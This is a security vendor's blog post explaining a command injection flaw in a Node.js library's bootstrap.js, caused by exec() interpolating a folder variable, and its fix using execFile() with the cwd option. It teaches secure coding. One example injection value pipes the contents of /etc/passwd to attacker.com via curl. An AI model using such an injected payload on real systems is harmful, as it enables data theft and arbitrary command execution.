Back to Blog
high SEVERITY8 min read

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `bootstrap.js` at line 34. The root cause is the use of `exec()` with a template literal string — `cd ${folder} && npm install` — which passes user-influenced input directly to a shell. The fix replaces `exec()` with `execFile('npm', ['install'], { cwd: folder })`, which bypasses the shell entirely by passing arguments as an array and using the `cwd` option to set the working directory, eliminating any possibility of shell metacharacter injection.

Vulnerability at a Glance

cweCWE-78
fixReplaced exec() with execFile() using argument array and cwd option, bypassing shell interpretation
riskArbitrary shell command execution on the host system
languageJavaScript (Node.js)
root causeTemplate literal with unsanitized `folder` variable passed to exec(), which invokes a shell
vulnerabilityCommand Injection via child_process.exec()

How Command Injection Happens in Node.js child_process and How to Fix It

The Vulnerability at a Glance

This is a command injection vulnerability (CWE-78) in Node.js, found in bootstrap.js at line 34. The root cause is the use of exec() with a template literal string — `cd ${folder} && npm install` — which passes user-influenced input directly to a shell. The fix replaces exec() with execFile('npm', ['install'], { cwd: folder }), which bypasses the shell entirely by passing arguments as an array and using the cwd option to set the working directory, eliminating any possibility of shell metacharacter injection.


Introduction

The bootstrap.js file in this Node.js library handles a very practical task: running npm install across multiple project folders during pipeline setup and local development. It's the kind of utility script that developers write quickly, trust implicitly, and rarely revisit. But inside the installPackages() function, a single line of code created a high-severity security hole that could be exploited by anyone with influence over the folder variable.

At line 34, the original code looked like this:

const command = `cd ${folder} && npm install`;
exec(command, (error, stdout, stderr) => { ... });

This pattern — interpolating a variable directly into a shell command string and handing it to exec() — is one of the most common sources of command injection in Node.js applications. And because this is a library, the blast radius extends to every downstream consumer who installs and runs it.


The Vulnerability Explained

What Makes exec() Dangerous Here

Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. This is fundamentally different from execFile() or spawn(), which execute a binary directly without invoking a shell.

When you write:

const command = `cd ${folder} && npm install`;
exec(command, callback);

You are asking the operating system shell to interpret command as a shell script. The shell understands operators like &&, ;, |, $(), and backticks. If folder contains any of these characters, the shell will faithfully execute whatever comes after them.

A Concrete Attack Scenario

Imagine a scenario where the folders array is populated from an external source — a configuration file, an environment variable, a CI/CD pipeline parameter, or a package manifest. An attacker who can influence any of these inputs could supply a value like:

legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo

When this value is interpolated into the template literal and passed to exec(), the resulting shell command becomes:

cd legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo && npm install

The shell executes all three commands in sequence: changing directories, exfiltrating /etc/passwd to an attacker-controlled server, and then running npm install as if nothing happened. The callback receives no error, and the attack is invisible in normal logs.

Even without external input, if the folders array is ever extended to include paths derived from package names, repository names, or user-supplied configuration, this code becomes immediately exploitable.

Why This Is Especially Risky in a Library

The PR notes explicitly that this is a Node.js library — not a standalone application. Vulnerabilities in libraries are multiplied by the number of projects that depend on them. A developer who installs this package and runs bootstrap.js in a CI/CD environment with elevated permissions could unknowingly expose their entire build infrastructure to this attack pattern.


The Fix

Before: Shell Interpolation with exec()

// VULNERABLE: folder variable is interpolated into a shell command string
const command = `cd ${folder} && npm install`;

exec(command, (error, stdout, stderr) => {
  if (error) {
    console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
    reject(error);
  }
  // ...
});

After: Shell Bypass with execFile()

// SAFE: no shell is invoked; arguments are passed as an array
execFile('npm', ['install'], { cwd: folder }, (error, stdout, stderr) => {
  if (error) {
    console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
    reject(error);
  }
  // ...
});

Why This Fix Works

The change makes three specific improvements:

  1. exec()execFile(): execFile() does not spawn a shell. It executes the binary (npm) directly. Without a shell, there is no interpreter to process metacharacters, operators, or subshell syntax. The folder variable can contain && or ; all it wants — those characters are never seen by a shell.

  2. Template literal → argument array: Instead of embedding npm install in a string that a shell parses, the command and its arguments are passed as separate elements in an array: ['install']. This is the structural equivalent of parameterized queries in SQL — the command and its data are kept separate at the API level.

  3. cd ${folder}{ cwd: folder }: The original code used cd as a shell built-in to change directories before running npm install. The fix uses the cwd (current working directory) option, which is a first-class feature of the Node.js child process API. This eliminates the need for any shell command at all, and the folder value is passed as a filesystem path to the OS, not as a string to a shell interpreter.

The result is a function that is structurally immune to command injection, regardless of what value folder contains.


Prevention & Best Practices

1. Prefer execFile() or spawn() Over exec()

As a general rule in Node.js:

Function Spawns a shell? Safe for user input?
exec() ✅ Yes ❌ No
execFile() ❌ No ✅ Yes (with array args)
spawn() ❌ No ✅ Yes (with array args)

If you find yourself reaching for exec(), ask whether you actually need shell features (pipes, redirects, globbing). If the answer is no — and it usually is — use execFile() or spawn() instead.

2. Never Interpolate Variables into Shell Command Strings

Template literals and string concatenation in shell commands are red flags:

// ❌ Dangerous patterns
exec(`cd ${userInput} && do-something`);
exec('process ' + userInput);
exec(`find ${dir} -name ${pattern}`);

// ✅ Safe patterns
execFile('do-something', [], { cwd: userInput });
execFile('find', [dir, '-name', pattern]);

3. Use cwd Instead of cd

Whenever you need to run a command in a specific directory, use the cwd option:

execFile('npm', ['install'], { cwd: targetDirectory }, callback);

This is cleaner, more readable, and eliminates an entire category of shell injection risk.

4. Validate and Allowlist Paths

If the folder values come from any external source, validate them before use:

const path = require('path');
const allowedBase = '/safe/base/directory';

function isSafePath(folder) {
  const resolved = path.resolve(folder);
  return resolved.startsWith(allowedBase);
}

5. Run Static Analysis in CI/CD

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add Semgrep or similar SAST tools to your CI pipeline to catch these patterns before they reach production:

# Example GitHub Actions step
- name: Run Semgrep
  uses: returntocorp/semgrep-action@v1
  with:
    config: p/javascript

6. Reference Standards


Key Takeaways

  • exec() with template literals is structurally unsafe: The line `cd ${folder} && npm install` in installPackages() handed shell interpretation power to whatever value folder held — a dangerous assumption in any codebase.
  • execFile() + argument array = no shell, no injection: The fix in bootstrap.js doesn't just sanitize input — it eliminates the shell entirely, making the injection structurally impossible.
  • cwd replaces cd safely: Using { cwd: folder } instead of cd ${folder} && removes the need for any shell command, reducing the attack surface to zero for directory navigation.
  • Library code deserves extra scrutiny: Because bootstrap.js is part of a library, this vulnerability multiplied across every downstream project. Utility scripts are not exempt from security review.
  • Static analysis catches this pattern reliably: Semgrep's detect-child-process rule flagged this exact issue automatically, demonstrating that SAST tools can prevent this class of vulnerability from reaching production.

How Orbis AppSec Detected This

  • Source: The folder variable in installPackages(), drawn from the folders array which can be influenced by pipeline configuration or external input
  • Sink: exec(command, callback) at bootstrap.js:34, where command is the template literal `cd ${folder} && npm install`
  • Missing control: No sanitization, escaping, or validation of folder before shell interpolation; no use of shell-bypass APIs
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec() with execFile('npm', ['install'], { cwd: folder }), eliminating shell invocation and passing the directory as a cwd option rather than a shell string

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in bootstrap.js is a textbook example of how a convenience-driven coding pattern — using exec() with a template literal — can introduce serious security risk with very little visible warning. The code looked reasonable: change to a directory, run npm install. But the mechanism it used to accomplish that task (shell interpolation via exec()) created an injection surface that could be exploited to run arbitrary commands on any system where the script executes.

The fix is elegant precisely because it doesn't try to sanitize the input — it changes the mechanism. By switching to execFile() with an argument array and the cwd option, the shell is removed from the equation entirely. There is nothing left to inject into.

For Node.js developers, the lesson is clear: treat exec() with the same caution you'd apply to raw SQL string concatenation. Reach for execFile() or spawn() by default, use argument arrays, and let the OS handle path resolution through cwd. Your future self — and your downstream users — will thank you.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is embedded into a shell command string passed to exec(), allowing attackers to append additional shell commands using metacharacters like &&, ;, or |.

How do you prevent command injection in Node.js child_process?

Use execFile() or spawn() instead of exec(), and pass arguments as an array rather than a shell string. Use the cwd option to set the working directory instead of using cd in the command string.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input sanitization enough to prevent command injection in Node.js?

Sanitization alone is fragile and error-prone. The preferred approach is to avoid shell invocation entirely by using execFile() or spawn() with argument arrays, which structurally prevents shell interpretation regardless of input content.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep can detect patterns where exec() is called with template literals or string concatenation involving variables, as demonstrated by the rule javascript.lang.security.detect-child-process.detect-child-process that flagged this exact issue.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5344

Related Articles

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability was discovered in `spider/php/crawler.py` where the `PHPBridge.call()` method passed unvalidated external arguments directly to `subprocess.run()`. An attacker controlling the `spider_path` or `method` parameters could execute arbitrary PHP scripts or inject malicious method names. The fix adds strict input validation — requiring `method` to be a valid Python identifier and `spider_path` to resolve to an existing `.php` file — before any subprocess exec

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `packages/runner/src/main.js` where the `child_process.spawn()` function accepted an unvalidated `argv` array parameter. An attacker could potentially inject malicious arguments to execute arbitrary commands. The fix adds strict type validation for the `argv` array and explicitly disables shell execution to prevent command injection attacks.

critical

How Command Injection Vulnerabilities Happen in Python Subprocess Calls and How to Fix Them

A critical command injection vulnerability was discovered in `src/unused/server/fft.py` where external binaries like `oggenc` and `cocoa_text` were executed with file path parameters that could be manipulated by user input. Although `shell=False` was used, the lack of input validation allowed attackers to potentially trigger processing of arbitrary files or cause denial of service. This fix implements proper path validation to prevent exploitation.

critical

How API Key Exposure and Unsafe Process Spawning Happens in Node.js Scripts and How to Fix It

A critical security vulnerability in the `scripts/close-issues.mjs` file exposed API key patterns in documentation and used unsafe `spawnSync` calls to execute curl commands. The fix replaces dangerous process spawning with native `fetch()` API calls and removes sensitive configuration examples from documentation, eliminating both credential exposure and command injection risks.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A command injection vulnerability was discovered in `scripts/install.js` where user-controllable input was passed to `child_process.execSync()` through string interpolation. This high-severity issue could allow attackers to execute arbitrary shell commands by crafting malicious package file paths. The fix replaces `execSync()` with `execFileSync()`, which bypasses the shell entirely and treats arguments as literal values.

critical

How Arbitrary Code Execution Via Command Injection happens in Node.js and how to fix it

A critical arbitrary code execution flaw in the `shell-quote` npm package (CVE-2026-9277) allowed attackers to break out of shell quoting using unescaped Unicode line terminator characters, turning ordinary command-line arguments into injected shell commands. The fix locks `shell-quote` to the patched `1.8.4` release via a `resolutions` override in `package.json`/`yarn.lock`, closing off a transitive dependency path that could otherwise pull in a vulnerable version.